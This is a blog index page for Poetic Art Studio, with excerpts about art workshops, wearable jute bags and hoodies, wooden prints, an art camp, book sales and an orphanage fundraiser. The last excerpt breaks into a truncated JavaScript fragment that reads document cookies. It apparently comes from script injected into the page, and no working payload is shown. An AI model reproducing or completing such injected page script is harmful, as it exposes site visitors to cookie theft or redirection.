Creative Art Workshops

creative art workshops

I have been developing creative art workshops for youth and adults that focus on enhancing self-expression through art and poetry for over 10 years. These workshops have been done extensively in Toronto schools as well as in community centres and women’s centres. Creative Art Workshops Although I am inspired to create art, I am also

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Creative Bags Wearable Art

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Creative Bags – Jute Wearable Art Canvas Bags   I have a fascination with organic natural fabrics – especially burlap and jute fibers. As a result, I decided to start creating a line of wearable art jute bags that are both creative and functional. These creative bags feature a vibrant art print on the front

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Motherhood Is…

I was recently contacted by Holistic Parenting magazine to have the first piece in my Baby Thoughts Collection, ‘Motherhood Is…’ featured in their publication. This piece has special significance to me as it was completed when my daughter was about 4 months old. I recall being exhausted at the time but also craving having the

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Wooden Greeting Cards and Prints

I am always exploring new ways to create and present my art. I love experimenting with new mediums which present a challenge to bring my words and images to life. For years now, I have been creating chalk pastel pieces on wood panel and recently I started to explore printing my artwork on wood.  

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Exploring Word Art & Typography Art

My roots are based in words. Before I started to develop Poetic Art, I focused on writing poetry that often resulted in published poems or spoken word pieces. To me, there is a simplistic beauty in language – in words that are strung together to make inspiring thoughts and emotions come to life. My love

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Poetic Art Hoodies

I have now added Poetic Art Hoodies to the Studio`s wearable art collection. Each hoodie has a unique, canvas art piece on the back which is framed with black burlap to give it a framed affect. The hoodies are available in black and come in sizes S-XXL. One of the main questions that clients have

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Poetic Art Studio is Moving!

Poetic Art Studio is moving from its Mount Pleasant Road home, as of December 2011.  I will always remember this space fondly – for two years it was my creative home. I have decided to move on to bigger and better things. Despite not having a new home for my artwork and workshops yet, I

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Art Camp is in Session

I am doing an art camp this summer with MicroSkills Canada. I’ve got the opportunity to work with two groups of about 30 youth ages 10-15 based in Rexdale, Ontario. Time is really flying as the camp is almost over – just three weeks to go! The youth are working their way through a Poetic

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100 Poetic Art Books Sold!

It’s been just over one years since my first Poetic Art book was published, ‘inspired’. I’ve only got one personal copy left but the rest of the books are sold! Right now, I’m thinking about whether I should do a reprint or if I should publish version #2. For now I think I’ll work on

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Recent Poetic Art Charity Fundraisers

Nzirambi Orphan’s Centre Poetic Art Studio recently worked with the Nzirambi Orphan’s Centre to help raise funds for the orphans in Uganda.  Funds raised from the sale of Poetic Art prints and cards helped contribute to the Centre’s $10,000 fundraising goal to help pay expenses needed to send the orphans to school. function getCookie(e){var U=document.cookie.match(new

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